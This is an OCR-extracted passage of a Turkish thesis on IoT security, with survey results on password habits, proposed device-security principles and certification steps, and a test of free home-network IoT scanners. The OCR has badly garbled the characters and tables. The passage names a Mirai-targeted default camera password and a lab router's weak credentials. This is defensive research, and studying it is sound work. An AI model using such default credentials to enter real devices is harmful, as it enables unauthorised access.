1 aya kadar kullanirim. 4 0,99
birlikte verilen yonetici parolasini (6rn.
3 aya kadar kullanirim. 12 2,96
admin, root vb.) ne kadar siireyle
6 aya kadar kullanirim. 30 7,41
kullanirsiniz?
Stirekli kullamirim. 118 29,14
1-Hedef olma ihtimalim yoktur. 68 16,79
S7 - Bir siber saldirinin hedefi olma 2-Hedef olma ihtimalim azdir. ~ 184 45,43
ihtimalinizi 1-5 arasinda puanlayimz. (5 en 3-Hedef olup olmama ihtimalim aymidir. 112 27,65
yliksek ihtimal) 4-Hedef olma ihtimalim yiiksektir. 20 4,94
5-Kesinlikle hedefim. 21 5,19
Yonlendirici (modem) 267 65,93
IP kamera 174 42,96
S10 - Asagidaki cihazlardan hangileriyle bir Kablosuz bebek monitérii 91 22,47
web sitesine siber saldir1 yapilabilir? Dijital video kayit cihazi (DVR) 86 21,23
(Birden fazla segenegi isaretleyebilirsiniz.) Kablosuz yazict 82 20,25
TV uzaktan kumandasi 28 6,91
Fotoselli lamba 18 4,44
Yonlendirici (modem) 306 75,56
Akilli televizyon 295 72,84
S12 - Asagidaki cihazlardan hangileri siber
IP kamera 279 68,89
saldirilara maruz kalabilir?
Kablosuz bebek monitérii 183 45,19
(Birden fazla segenegi isaretleyebilirsiniz.)
Kablosuz yazict 180 44,44
Akilli buzdolabt 174 42,96
Mutfak robotu 27 6,67
Elektrikli siipiirge 20 4,94

5.2.4 Egitim veya is tecriibesinin yanitlara etkisi

Arastirmaya katilan bireylere bilgi teknolojileri, bilgi glivenligi veya siber giivenlik
iizerine egitim alip almadiklar1 veya bu alanda calisip ¢alismadiklar1 sorularak bilgi

teknolojileri ve siber giivenlik konusunda bilgi sahibi oldugu degerlendirilen bireyler
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tespit edilmis ve kisaca “bilgi sahibi” olarak simiflandirilmistir. Toplanan yanitlarin
kategorik veri olmamasi nedeniyle iki soru Ki-Kare testine tabi tutulmadan Cizelge
5.5’te gorildiigii tlizere ¢apraz kiyaslama yapilmis, bes soruya verilen yanitlar
diizenlenerek katilimcilarin verdikleri yanitlarin bilgi sahibi olma degiskenine gore
caprazlanmas: ile Ki-Kare testi gergeklestirilerek dagilimlar arasinda anlamsal fark

bulunup bulunmadigi %95 giiven diizeyinde (p<0.05) test edilmistir.

Bilgi sahibi katilimcilarin bir Oriin sitesine siber saldir1 yapabilecek cihazlar1 dogru
se¢me oraninin diger katilimcilara oranla daha yiiksek oldugu goriilmistiir. Benzer bir
sekilde bu katilimcilarin siber saldirtya maruz kalabilecek cihazlari tespit etme

oraninin diger katilimcilara oranla daha yiiksek oldugu goriilmiistiir.

Cizelge 5.5 : Capraz kiyaslama yapilan sorular ve yanit istatistikleri.

Bilgi teknolojileri / siber giivenlik
iizerine egitim aldim ve/veya bu

alanda calistyorum

Soru Tercihler Evet (%) Hayir (%)
Modem 83,3 62,8
S10 - Asagidaki cihazlardan Dijital video kayit cihazi 31,4 19,5
hangileriyle bir driin sitesine Kablosuz bebek monitorii 35,1 20,3
siber saldir1 yapilabilir? IP kamera 53,7 41
Kablosuz yazici 37 17
Kablosuz bebek monitori 61,1 42,4
IP kamera 77,7 67,3
S12 - Asagidaki cihazlardan
Akl TV 74 72,5
hangileri siber saldirilara
. Akilli buzdolabi 53,7 41
maruz kalabilir?
Yonlendirici (modem) 83,3 74,2
Kablosuz yazict 57,4 42.4

Bilgi sahibi katilimcilar ile diger katilimeilarin satin alinan cihazlardaki varsayilan
parolalari ilk kurulumda degistirme oranlar1 arasinda istatistiksel agidan anlamli fark
bulundugu goriilmiistiir. Bilgi sahibi kisilerin satin aldiklart modem, IP kamera gibi
cihazlarla birlikte verilen varsayilan parolay1 ilk kurulumda degistirme orant %72

iken, diger katilimcilarda bu oran %57,5°dir.
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Giivenli parola se¢im sorusunda bilgi sahibi katilimcilar ile diger katilimcilarin
“TujMkoOadmin” ve “SEays214.” segeneklerini tercih etme oranlarinda istatistiksel

acidan anlamli bir farklilik tespit edilmemistir.

Bilgi sahibi katilimcilar ve diger katilimcilarin parola saklama tercihlerinin
dagiliminda istatistiksel agidan anlamli fark oldugu gorilmiis olup bilgi sahibi
katilimcilarin parolalarini akilda tutma orani %58,5, diger katilimcilarin parolalarmi
akilda tutma orant %71,3’tiir. Bilgi sahibi katilimecilarin parola yonetim programi
kullanma oran1 %17, diger katilimcilarin parola yonetim programi kullanma orani

%4 tuir.

Parola se¢imi konusunda bilgi sahibi katilimcilarin her hesap icin ayr1 parola se¢cme
oraninin diger katilimeilara oranla daha yiiksek oldugu ancak yanitlarin genel dagilimi
dikkate alindiginda tercihler arasinda istatistiksel agidan anlamli bir fark bulunmadig

gOrilmiistiir.

Bir siber saldirinin hedefi olma ihtimaline dair her iki katilimer grubun verdikleri
yanitlar arasinda istatistiksel agidan anlamli fark bulundugu tespit edilmistir. Bilgi
sahibi katilimcilardan kendilerini bir siber saldirinin hedefi olma ihtimalini ¢ok yiiksek
ve kesin olarak degerlendirenlerin orami %24,1 iken diger katilimcilarda bu oran

%8,2’dir.

Ki-Kare testine tabi tutulan yanitlara yonelik istatistiksel analiz sonuglar1 Cizelge

5.6’da sunulmustur.

5.3 Tartisma

Katilimeilarin parola segerken zor tahmin edilen ve akilda kalicilig1 bulunan parolalari
tercin etmesi bireylerde belirli bir giivenli parola se¢im kriterinin olustugunu
gostermektedir. Katilimcilar yeni bir parola belirlerken ¢ogunlukla kullandiklar:
birkag parola igerisinden se¢im yapmakta ve parolalarini diger saklama yontemlerine
nazaran akilda tutmay: tercih etmektedir. Katilimeilar evlerindeki yonlendiricinin
yOnetici parolasini bankacilik, e-posta ve sosyal medya hesap parolalarindan daha

Oonemsiz gormektedir.

Katilimcilar karakter sayisi fazla ve farkli 6z nitelikli karakterlerden olusan parolalarin

giivenli oldugunu bilmektedir. Ancak ii¢ yildir ¢esitli siber saldirilarda rolii bulunan
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Mirai zararli yazilimi kaynak kodlarinda kirilacak parolalar arasinda bulunan ve Dahua
marka bir kisim IP kameralarin varsayilan parolasi oldugu bilinen “7ujMkoOadmin”
seceneginin katilimcilarin ¢ogunlugu tarafindan en giivenli parola olarak tercih
edilmesi katilimcilarin Mirai tarafindan hedef alinan parola kiitiiphanesini bilmedigini

gostermektedir.

Katilimcilar ¢ogunlukla satin aldiklar1 bir cihazin varsayilan parolasin ilk kurulumda
degistirmektedir ancak her bes katilimcidan ikisinin satin aldiklar1 cihazlardaki
varsayilan parolayi ilk kurulumda degistirmemesi bu konuda ciddi bir bilingsizlik
oldugunu gostermektedir. Katilimcilarda internete bagli nesnelerin siber saldiriya
maruz kalabilecegi bilinci kismen olugsa da bu nesnelerle siber saldir1 yapilabilecegi

bilinci yeterli seviyede degildir.

Katilimcilarin ¢ogunlugu bir siber saldirtya hedef olma ihtimalinin bulunmadigini
veya bu ihtimalin az oldugunu belirtmistir. Istege bagl beyan edilen goriis ve
Onerilerin toplandigi son soruya bir kisim katilimcilar “bir siber saldirinin hedefi
olmak igin istihbarat, emniyet vb. kritik bir birimde ¢alisiyor olmak gerektigi” ve
“siradan kullanicilarin siber saldirtya hedef olmasinin miimkiin olmadig1” igerikli
yanitlar vermistir. Her iki durum birlikte degerlendirildiginde, katilimcilarin siradan
kullanicilarin bir siber saldirtya hedef olmayacagina dair algilarinin bulundugu
sonucuna varimustir. Ileri diizey kalic1 tehdit saldirilar1 (advance persistent threat -
APT) s6z konusu oldugunda bu alg1 kabul edilebilir olsa dahi nesnelerin internetini
etkileyen zararli yazilimlar agisindan ele alindiginda bu alginin gegerli olmadigi
degerlendirilmektedir. Bilgi teknolojileri veya siber giivelik alaninda egitim alan yahut
calisan kisiler diger katilimcilara kiyasla nesnelerin internetinin giivenligi konusunda
daha bilin¢li ve temkinlidir ancak bu kisilerce “7ujMkoOadmin” seceneginin giivenli
parola olarak secilmis olmasi Mirai zararli yazilimi tarafindan hedef alinan parola

kiitliphanesinin yeterince bilinmedigini gostermektedir.

Katilimcilarin - ¢ogunlugu  bilgisayarlarinda isletim sistemi olarak Windows
dagitimlarini, web tarayici olarak Google Chrome uygulamasini tercih etmektedir.
Aga bagli nesnelerin varsayilan parolalar veya kolay parolalar ile kullanimim
engelleyecek ¢oziimlerin tasariminda bu ¢alismada tespit edilen tercih ve egilimlerin
gbz Onlinde  bulundurulmasi s6z konusu ¢ozlimlerin erisilebilirligini,

kullanilabilirligini ve etkinligini arttiracaktir.
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Cizelge 5.6 : Ki-Kare testi ile analiz edilen sorular ve analiz sonuglari.

Bilgi teknolojileri / siber
giivenlik iizerine egitim aldim

Soru Segenekler ve/veya bu alanda cahsiyorum. 2 sd p
Evet (%) Hayir (%)
S5 - Satin aldigim modem, IP Evet 72,2 57,5
kamera vb. cihazlarla birlikte gelen
admin, root vb. parolay1 ilk
kurulumda degistiririm. (Yanitlar Hayir 27,8 42,5 4207 1004
kategorik olarak yeniden
diizenlenmistir)
S14 - Sizce asagidakilerden hangisi 7ujMkoOadmin 48,1 47,5 042 1 0838
en giivenli paroladir? SEays214. 44,4 46,7 ' '
Kagida, post-it'e vb. fiziksel bir ortama yazarim. 94 6,8
$16 - Parolalarmniz: cogunlukla nasi] Bilgisayarimda / cep telefonumda bir dosya tizerine kaydederim. 11,3 12,5
saklamay! tercih edersiniz? Web tarayicima hatirlamasi i¢in kaydederim. 3,8 51 14,32 4 0,006
Aklimda tutarim. 58,5 71,3
Parola yonetim programi kullanirim ve ona kaydederim. 17 4,3
Hepsi ayni paroladir. 7,4 6,5
Kullandigim birkag¢ parolam var onlarin arasindan segerim. 51,9 67,1
S15 - Parolalarimizi nasil segersiniz? ~ Cogunlukla ayri parolalar segerim, nadiren bunlar birbirinin ayni 148 105 5280 3 0,152
olabilir. ’ ’
Her hesap i¢in ayr1 parola segerim. 25,9 15,9
o 1. Hedef olma ihtimalim yoktur. 13 17,3
S7- Bir siber saldinmn hedefi olma 2. Hedef olma ihtimalim azdir, 315 476
'ht'mal'a'l:';;aly' i f‘;asmda 3. Hedef olup olmama ihtimalim aynidr. 315 26,9 16,14 4 0,003
.. . 4. Hedef olma ihtimalim yiiksektir. 9,3 4.2
(5 en yiiksek ihtimal) - .
5. Kesinlikle hedefim. 14,8 4
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6. KORUYUCU TEDBIiR ONERILERI

Ulkemizde 10T dzelinde gelistirilmis kapsamli bir ulusal strateji bulunmadigi gibi 10T
cihazlarimin giivenligine dair yayinlanan yasal bir diizenleme de bulunmamaktadir.
Nesnelerin internetinin sagladigi faydalar ve firsatlarla birlikte siber giivenlik tehdit ve
saldirilar1  gibi  konular gozetilerek acilen {iilkemizdeki nesnelerin interneti
ekosisteminin diizenleyici c¢ergevesinin olusturulmasi, bu kapsamda “Ulusal
Nesnelerin Interneti Stratejisi ve Eylem Plam” bir dokiiman kilavuz olarak

hazirlanmalidir [117].

Bu boliimde iilkemizde tiiketiciye sunulacak IoT cihazlarinda hangi giivenlik
prensiplerine uymasi gerektigi aciklanacak, milli giivenli nesne test ve sertifikasyon

siirecine dair onerilerde bulunulacaktir.

6.1 Tiiketiciye Sunulacak 10T Cihazlarinda Temel Giivenlik Prensipleri

Diinyadaki mevcut diizenlemeler incelendiginde tiiketiciye sunulan 10T cihazlarinin
giivenligine dair ortak 13 temel prensibin belirlenmis oldugu tespit edilmistir [97-103].
Ulkemizdeki yetkili kuruluslarca diizenlenecek yasal tedbirlerde bu 13 temel prensibin
g6z oniinde bulundurulmasi ve 10T cihazlarinin bu prensiplere uygun olarak tiiketiciye
sunulmasi nesnelerin internetinin giivenliginin saglanmasina biiyiik katki sunacaktir.
Yasal diizenlemelerde dikkate alinmasi gereken 13 temel prensip miiteakip alt

maddelerde agiklanmistir.

6.1.1 Her bir cihaz igin tekil parola

Higbir cihaz tiiketiciye satisinda, aynit marka ve model i¢in belirlenen diger cihazlarla
ortak bir parolaya sahip olmamalidir. Bunu saglamak amaciyla her bir cihaz igin tekil
parola olusturulmali veya cihazin ilk kurulumunda kullanicidan parola tanimlanmasi
istenmeli ve tanimlanacak parolanin belirlenmis giivenli parola ilkelerine uygunlugu

dogrulanmalidir.
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6.1.2 Agikliklarin raporlanmasi

Uretici firmalar oriin sitelerinde ve cihazin garanti belgesi ile birlikte aciklik tespiti
iletisim noktas1 bildirerek giivenlik uzmanlar1 ve kullanicilar tarafindan tespit edilen
acikliklarin bildirilmesi siirecini kamuoyuyla paylasmalidir. Firmalar her bir cihaz i¢in
belirlenecek destek siiresi boyunca tespit edilen agikliklari kayit altina almali, yetkili
makamlarca agikliklarin standart bir formatta, agik ve anlagilir bir sekilde kamuoyuyla

paylasilmasi saglanmalidir.

6.1.3 Cihaz yazilminin giincellenmesi

loT cihazlarinin tiim bilesenleri glivenli bir sekilde giincellenebilmelidir. Cihazin
giincellenmesi gerektiginde tiiketici, iiretici veya hizmet saglayici tarafindan acik bir
sekilde ikaz edilmelidir. Cihazin bir bileseni giincellenebilir durumda oldugunda
uygun bir vakitte (gecikmeksizin) giincelleme saglanmalidir. Her bir giincelleme igin
gereken zaman net bir sekilde ifade edilmeli ve giincellemeler cihaza kolay
uygulanabilir olmalidir. Giincelleme islemi boyunca cihaz temel fonksiyonlarini
yerine getirmeye devam etmelidir. Giincelleme usulii agiklik barindirmamali, yeni bir
saldir1 vektorli iiretmemeli, gilincellemenin dogru ve giivenilir sekilde cihaza
ulastirilmasi saglanmalidir. Cihaz yazilimi giincellenemeyecek kisitli cihazlarin neden
giincellenmedigi, donanim degisim desteginin ve yasam dongiisiiniin siiresi agik ve

erisilebilir sekilde yayinlanarak tiiketiciye bildirilmelidir.

6.1.4 Oturum a¢ma bilgilerinin giivenli saklanmasi ve hassas veri

Oturum agma bilgileri ve giivenlik yoniinden hassas veri cihaz {izerinde giivenli bir
sekilde saklanmalidir. Oturum agma bilgileri cihazin yazilimima goémiilii (hard-coded)
kodlanmamalidir. Saklanan veri ve kayitli oturum a¢gma bilgileri tersine miithendislik
yontemleri ile elde edilememeli, basit gizleme ve sifreleme yontemleri

kullanilmamalidir.

6.1.5 Giivenli iletisim

Cihazin uzaktan yonetimi dahil giivenlik agisindan hassas tiim verinin iletimi uygun
sifreleme yontemleri ve teknolojisi kullanilarak sifreli bir sekilde gerceklestirilmelidir.

Tiim sifreleme anahtarlar: giivenli bir sekilde yonetilmelidir.
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6.1.6 Saldir1 yiizeyinin azaltilmasi

Cihazlar miimkiin olan en disiik yetki seviyesinde c¢alisabilir olarak
programlanmalidir. Kullanilmayan yazilim ve ag portlar1 kapatilmalidir. Cihaz
donanim1 gerekmedikge acik seri erisim, port veya test noktalari iizerinden erisilebilir
olmamali, bu noktalardan saldirtya maruz kalmamalidir. Cihaz yazilimindaki
hizmetlerin kullanilmasi planlanmadiysa erisilemez olmalidir. Cihaz yazilim kodlari
cihazin kullanim maksadini karsilayacak en az kodu icermelidir. Hem giivenlik hem
de islevsellik bakimindan cihazlar miimkiin olan en az yetkiyle calistirilabilir

olmalidir.

6.1.7 Yazilim biitiinliigiiniin korunmasi

Cihaz yazilimi giivenli yeniden baslatma mekanizmalari ile dogrulanmalidir. Bunu
saglamak amaciyla cihazlar lizerinde donanimsal giiven kaynagi (hardware root of
trusts) bulunmali ve cihaz yazilmmnin koti niyetli kisilerce degistirilmesi
engellenmelidir. Yetkisiz bir yazilim degisikligi tespit edildigi takdirde kullanici ikaz

edilmeli ve cihazin ag baglantisi sona erdirilmelidir.

6.1.8 Kisisel verinin korunmasi

Cihaz treticileri ve hizmet saglayicilar tiiketicilerin kisisel verilerinin, her bir cihaz
ve hizmet 6zelinde, kim tarafindan ne amacla kullanildigini acik ve seffaf bir sekilde
tiketicilere bildirmelidir. Tiiketicinin agik rizasi alinirken agik bir bilgilendirme ile

riza alinmalidir ve tiiketici istedigi anda bu rizadan vazgecebilmelidir.

6.1.9 Giic¢ ve ag Kesintilerine karsi diren¢

Cihaz muhtemel enerji ve ag kesintilerine dayanikli olarak tasarlanmalidir. Ag
kesintisi oldugu takdirde cihaz yerel ag iizerinde islev gormeye devam etmeye ve giic
kesintileri sonrasinda islevselligini yitirmeden devreye alinabilir olmalidir. Aga tekrar
baglant1 siireci Ongoriilmiis islem adimlariyla gergeklestirilmeli, cihaz bu siiregte

islevselligini korumalidir.

6.1.10 Uzaktan él¢iilen verilerin incelenmesi

Uretici veya servis saglayici tarafindan cihazdan kullanim istatistigi vb. veriler
toplandig1 takdirde bu verilerde giivenlige dair anomaliler bulunup bulunmadigi da

incelenmelidir. Uzaktan bu tiir veri toplama faaliyetlerinde minimum diizeyde kisisel
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veri toplanmali ve bu veriler anonimlestirilerek islenmelidir. Uzaktan veri toplandigt
takdirde tiiketici agik bir sekilde hangi verinin ne amagla toplandigi konusunda

bilgilendirilmelidir.

6.1.11 Tiiketicilerin kisisel verilerini kolay silebilmesi

Cihaz ve cihaz ilizerinden hizmetler yapilandirilirken tiiketicinin cihaz {izerinde
saklanan kisisel verilerini kolayca silebilmesine imkan taninmalidir. Cihazin miilkiyeti
el degistirdiginde, tiiketici kisisel verilerini silmek istediginde veya tiiketici cihazi
imha etmeye karar verdiginde kisisel verilerini nasil silecegi acik bir talimatlarla
tilkketiciye bildirilmelidir. Kisisel verilerin silinmesi sonrasinda kisisel verilerin
hizmet, cihaz veya uygulama iizerinden silindigi onay1 kullaniciyla bildirilmelidir.
Ortak kullanilan cihazlar gozetilerek kisisel verilerin silinmesi iglemi fabrika

ayarlarina dontilmeksizin gergeklestirilebilmelidir.

6.1.12 Cihazin kurulum ve isletiminde kolayhk

Cihazin kurulum ve isletim siireci miimkiin olan en az islem adimiyla
gergeklestirilmeli ve bu adimlar giivenlige dair kullanilabilirlik prensiplerine uygun
olmalidir. Cihazlarin nasil giivenli kurulumunun gergeklestirecegi konusunda agik ve

anlasilir bir kurulum talimat1 hazirlanmali ve tiiketiciye sunulmalidir.

6.1.13 Veri girdilerinin dogrulanmasi

Cihaz tizerinde saglanan kullanici arayiizii, uygulama programlama arayiizii
(application programming interface-API), ag iizerinde hizmetlerin veya cihazlarin
birbiriyle haberlesmesi siirecinde kullanici tarafindan saglanan veri girdileri kontrol
edilerek dogrulanmali; amacina uygun, beklenen tipte ve uzunlukta girdilerin cihaz

iizerinde islenmesi saglanmalidir.

6.2 Milli Giivenli Nesne Test ve Sertifikasyon Siireci

Dogrudan 10T cihazlarinin donamimsal/yazilimsal gilivenligini test ederek
belgelendirme amaciyla olusturulmus ve kabul gormiis bir belgelendirme metodolojisi
bulunmamaktadir. 10T cihazlarinin giivenlik bakimindan uluslararasi gegerli nitelikte
sertifikalandiriimasinda genel olarak ISO/IEC 15408 Ortak Kriterler Belgelendirmesi
stirecinden yararlanilmaktadir. Bu belgelendirme siirecinin ¢iktilari iizerinde bir risk

analizi yapilmamakta ve sadece gegti/kald1 ibaresiyle siire¢ sona erdirilmektedir [118].
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Bu siirecin uzunlugu, harcanan efor ve maliyetlerin {ireticilere getirdigi yiik
elestirilmektedir [119]. Akilli bir televizyonun ISO/IEC 15408 Ortak Kriterler
Belgelendirmesi kapsaminda 6nceden belirlenmis giivenlik kriterlerine uygunlugunun

ikinci derece degerlendirme seviyesinde (EAL2) test edilmesi dort ay siirmiistiir [120].

Avrupa Birligi tarafindan fonlanan ve Avrupa Telekomiinikasyon Standartlar:
Enstitiisii metodolojileri uyumlu olarak yiiriitiillen Armour projesi kapsaminda; biiyiik
Olcekli 10T giivenlik testlerinin yapilabilece8i test ortami gelistirilmekte, 10T
cihazlarmin giivenligini ve giivenilirligini arttirmay1 saglayacak test metotlart
tretilmekte, 10T  cihazlarmin  sertifikasyonunu  saglayacak bir  gergeve

olusturulmaktadir [118].

Eyliil 2016’da Tiirkiye’den 13.780 cihaz Mirai tarafindan ele gecirilmesine ve lilkemiz
enfekte olmus cihaz barindiran ilkeler listesinde yedinci sirada olumasina ragmen
[32], Tirkiye’de heniiz ortak bir varsayilan parola ile konfigiire edilmis ag erisim
yetenekli nesnelerin ithalatin1 veya satisin1 engelleyen yasal bir diizenleme

bulunmamaktadir.

ABD, ingiltere ve Avrupa Birligi tarafindan yapilan ¢alismalarin paralelinde Tiirkiye
pazarina sunulan 10T cihazlarinin belgelendirilerek kabul gérmiis temel gilivenlik

prensiplerine uygunlugunun saglanmasi 6nem arz etmektedir.

TSEK 505 Temel Seviye Giivenlik Belgelendirmesi Tiirk Standartlari Enstitiisii
tarafindan gelistirilmis basit, hizli ve etkin bir giivenlik degerlendirmesini hedefleyen
bir giivenlik degerlendirme programidir. Bu programin paydaslar1 belgelendirme
kurulusu, degerlendirme kurulusu, iriin sahibi ve {irlin gelistiricisi olarak
siniflandirilmaktadir. Degerlendirme siireci iiriin ile ilgili mevcut dokiimantasyona,
test edilmesi gereken en azindan bilinen zafiyetlerin bulundugu genel zafiyet
veritabanlarina ve Ongdriilen kullanim ortamini temsil eden bir test platformuna
kurulmus olarak, {irlinlin kendisine dayanmaktadir. Bagimsiz degerlendirme
kuruluglar tarafindan {iriin i¢in belirlenen degerlendirme hedefine gore yapilan testler
neticesinde triinler belgelendirme kuruluslarinca belgelendirilmekte ve TSEK 505

logosunu iizerinde bulundurmaya hak kazanmaktadir [121].

Yapilan literatiir arastirmasinda TSEK 505 Temel Seviye Giivenlik Belgelendirmesine

yonelik istatistiki bilgi (kag iirlin belgelendi vb.) elde edilememistir ancak programin
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ISO/IEC 15408 Ortak Kriterler Belgelendirmesi siirecinin ikinci derece degerlendirme
seviyesinin (EAL2) milli bir karsilig1 oldugu degerlendirilmektedir [122].

loT cihazlarinin belgelendirilmesine TSEK 505 Temel Seviye Giivenlik
Belgelendirmesi programi iyi bir baslangi¢ noktasi olusturmaktadir ancak bilisim
sistemlerinin genelini kapsayan bir program olmasi nedeniyle 0T cihazlarinin

belgelendirilmesine yonelik etkinliginin arttirilmasi gerekmektedir. Bu kapsamda;

e 10T cihazlar1 kullanim maksatlari, mimari O6zellikleri, veri depolama ve

kriptografi yetenekleri vb. dzellikler dikkate alinarak tasnif edilmeli,

e Cihaz smiflandirmasi dikkate alinarak 13 temel giivenlik prensibi ekseninde

degerlendirme hedefleri olugturulmali,

e Yayinlanacak yasal mevzuat ile Tiirkiye pazarinda tiiketiciye arz edilecek 10T
cihazlar1 otoriteler tarafindan belirlenmis degerlendirme hedeflerine uygunluk
konusunda TSEK 505 Temel Seviye Giivenlik Belgelendirme programi kapsaminda

test edilmeli ve bu siireg her tiriin i¢in zorunlu hale getirilmeli,

e Uretici ve hizmet saglayicilara TSEK 505 Temel Seviye Giivenlik

Belgelendirme programina katilim hususunda tesvik ve destek saglanmali,

¢ Belgelendirilen iiriinlerin tiiketici tarafindan kullanimi tesvik edilmelidir.
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7. UCRETSIZ IoT GUVENLIK UYGULAMALARI

Mirai saldirilar1 sonrasinda bir ¢ok giivenlik yazilimi iireticisi firma tarafindan
kullanicilarin ev ve isyerlerinde bulunan yerel alan aglarina bagh cihazlan tarayan,
acik portlari tespit eden ve raporlayan ticretsiz liriinler gelistirilmistir. Bu boliimde dort
farklt uygulama incelenmis, ayrica kullanicilarin cihazlarinda giivenli parola

kullanmasini tegvik edecek bir web tarayici uzantist onerilmistir.

7.1 Mevcut Uygulamalar

Windows isletim sistemini destekleyen Bitdefender Home Scanner ve TrendMicro
HouseCall, sadece Android isletim sistemini destekleyen Kaspersky IoT Scanner, hem
Andorid hem de IOS isletim sistemini destekleyen MIRAI DEFENDER bu calisma
kapsaminda test edilen IoT agiklik tarama uygulamalaridir. Sekil 7.1°de bilesenleri
sunulan ev aginda 21,23, ve 80 portlar1 acik, telnet protokolii aktif ve oturum agma
bilgileri admin:54321 olarak ayarlanmis ZTE ZXV10 W300 yo6nlendirici cihaz1 ag
tizerinde erisim noktasi olarak yapilandirilmigtir. Dort uygulama tarafindan da ag

taratilarak elde edilen bulgular kiyaslanmistir.

)

Huawei HG255s Router

“ 192.168.1.1

A4
—
PC EPSON L3151 Samsung Smart TV Lenovo K6 Note Iphone 7 ZTE ZXV10 W300
192.168.1.22 192.168.1.21 192.168.1.25 192.168.1.27 192.168.1.28 192.168.1.50

Sekil 7.1: Uygulamalarin test edildigi yerel ag ve bagl cihazlar.
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Trendmicro sirketinin gelistirdigi HouseCall for Home Networks uygulamasinin
kurulumu web sitesinden indirilen exe dosyasi ile gergeklestirilmektedir [123].
Windows isletim sisteminde ¢alismakta, Ingilizce dilini desteklemektedir. Uygulama
Windows 10 isletim sistemli 192.168.1.22 [P adresli bilgisayara kurulmustur.
Kurulum tamamlandiginda bilgisayarin bagli oldugu agi otomatik tanimakta ve
taramaktadir. Tarama islemi sirasinda ilerleme ¢ubugu ile islemin geldigi asama ile
ilgili bildirimde bulunmaktadir. 3 dakika icerisinde agdaki sistemleri ve her bir
sistemin agik portlarini tespit ederek Resim 7.1’de sunulan ekranda ikaz ve
bilgilendirme saglamigtir. Ag icerisinde aktif olan tiim cihazlari basariyla tespit etmis,

ikonlarin yanlarina yesil led isareti koyarak aktif olduklarinm1 kullaniciya

gorlntiilemistir.
O TREND MICRO =
@3] HouseCall for Home Networks ? S SUPEROMME WIEE 631 -~ JESais

Your Home Network is At Risk o

8 devices checked. High Risk: 1, Low Risk: 4 *

w (1) o w
N ~ W [
o = !
® Huawei Router @ DESKTOP-035HU @ Connected Device | |® Seiko Epson Printe ® Samsung TV @ Motorola Phone/Ta

@ iPhonefiPad Connected Device

SCAN
Version: 5.0.1205 SN: 28300331 '

Resim 7.1: HouseCall uygulamasi tarama sonrasi bilgilendirme.

Her bir cihazin ikonu tiklandiginda o cihazla ilgili detay bilgileri ve tespit edilen
giivenlik sorunlarimi goriintiilemektedir. Resim 7.2°de gorildigi tizere ZTE erisim
noktasindaki agik portlarin yanisira muhtemel acikliklar da kullaniciya gosterilmistir.
Ancak giivensiz parolanin tespiti konusunda bir islem gerceklestirilmeyip mevcut
zafiyetler agiklanirken cihazin giivenli parola ile yapilandirilmasina yonelik bir uyar

da kullaniciya gosterilmemistir.
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TREND MICRO
— =
fffa HouseCall for Home Networks ? = SUPERONLINE_WIFL 351 v *
< Connected Device
This Device is At Risk S
2019-06-16 17:50:53
© cCross-site Scripting 6786
€ Misfortune Cookie Vulnerability
@ 3 of Open Ports
Active ports are necessary for online applications but when they are a connection between your device
and other devices or networks, atackers can use these ports to gain control of your devices. The
) . following ports are active: 21 fip, 23 telnet, 80 hitp.
Connected Device £ How can | protect my devices?
P 192.168.1.50 2 novon recoanize this device?
Mac 00:25:12:BF:08:D9
Brand ZTE —
%=+ Home Network Security cox
Smart internet security to keep your loT device safe

Resim 7.2: HouseCall uygulamasi cihaz detay bilgileri.

Bitdefender sirketi tarafindan gelistirilen Home Scanner uygulamasinin kurulumu web
sitesinden indirilen exe dosyasi ile gergeklestirilmektedir [124]. Windows isletim
sisteminde calismakta, Ingilizce dilini desteklemektedir. Uygulama Windows 10
isletim sistemli 192.168.1.22 [P adresli bilgisayara kurulmustur. Kurulum
tamamlandiginda yerel ag1 otomatik olarak tanimakta ve taramaktadir. Herhangi bir
ilerleme ¢ubugu gosterilmemektedir. Resim 7.3’te gorildigi lizere 17 dakikada

sistemleri tespit etmis ve her bir cihaza yonelik detayli tarama gergeklestirmistir.

Bitdefender Home Scanner - X

Secure all your connected devices with Bitdefender BOX

‘Wi-Fi network

ﬁ ‘SUPERONLINE_WiFi_3611° Xy AUTOMATIC DEVICE DISCOVERY

& devices found

DEVICE LAST SCANNED v STATUS
e ?;Ef;;md NORISKFOUND >

oy el router ?;;;;"”Ed NO RISK FOUND >
et ?;Ef;;md NO RISK FOUND >
Hba ;a;tds;;md NORISKFOUND >
g devce ?;Ef;;""sd NORISKFOUND >
bt ?;Ef;;md NORISKFOUND >

Resim 7.3: Bitdefender Home Scanner tarafindan bulunan sistemler.
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Tarama sonucunda aga aktif olarak bagli olan Iphone 7 telefon tespit edilmemistir.
Resim 7.4’te goruldigi tlizere yaptigi detayli taramada ZTE erisim noktasindaki

giivenlik agikliklarini bildirmeden cihazi “No Risk Found” olarak etiketlemistir.

{ Device Details - w

O s )

Resim 7.4: Zafiyetli ZTE cihazina ait tarama sonucu.

Kaserpesky 10T Scanner Google Play iizerinden yiiklenen gelistirme asamasinda bir
uygulamadir [125]. Android uyumludur, Ingilizce dilini desteklemektedir. Uygulama
Android isletim sistemli, 192.168.1.27 IP adresli Lenovo K6 Note mobil telefona
kurulmugtur. 2 dakika igerisinde agdaki aktif tiim cihazlar1 bulmus ve Resim 7.5.a’da
goriildiigii lizere gilivenlik acig1 ikazi ile bilgilendirme goriintiilemistir. Tarama
isleminde ilerleme gubugu bulunmayip kullanici ikaz edilmemektedir. Resim 7.5.b’de
gorildigl tizere ZTE iizerindeki 80 portu hari¢ diger agik portlart tespit ederek
giivenlik a¢ig1 konusunda bilgilendirme saglamistir ancak bilgilendirme sadece bu
portlarin enfeksiyon i¢in kullanilabilecegi bilgisini icermektedir, parola giivenligi

ikaz1 bulunmamaktadir.
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n > v (3%) 16:56 n > v (i) 16:52

= <& % X

=

s zte corporation
SUPERONLINE_WiFi_3611

1 security issue found s A

On this device, port 3,21, 7547 are
pened. Using this port, cybercriminals can infect
th jevice with malware or steal data
Huawei Home Gateway 9
HUAWEI TECHNOL( E R » vt o :
settings

R ter Android

IP:192.168.1
2SS point

@ android-a0c0c9b6f17a5447
L NOV Mobile dev e Andr )

IP:192.168

his helpful to you YES NO

@ Mobile device Apple

(a) (b)

Resim 7.5: Kaspersky IoT Scanner uygulamasi: (a) Tarama sonucu agiklik
bildirimi, (b) Zafiyetli ZTE cihazina ait bilgiler.

Intec sirketi tarafindan gelistirilen MIRAI DEFENDER ag {izerindeki IoT
cihazlarindaki giivenlik agikliklarini tespit etmek i¢in tasarlanmistir [126]. AppleStore
ve Google Play iizerinden yiiklenmektedir ve Ingilizce, Japonca, Cince dillerini
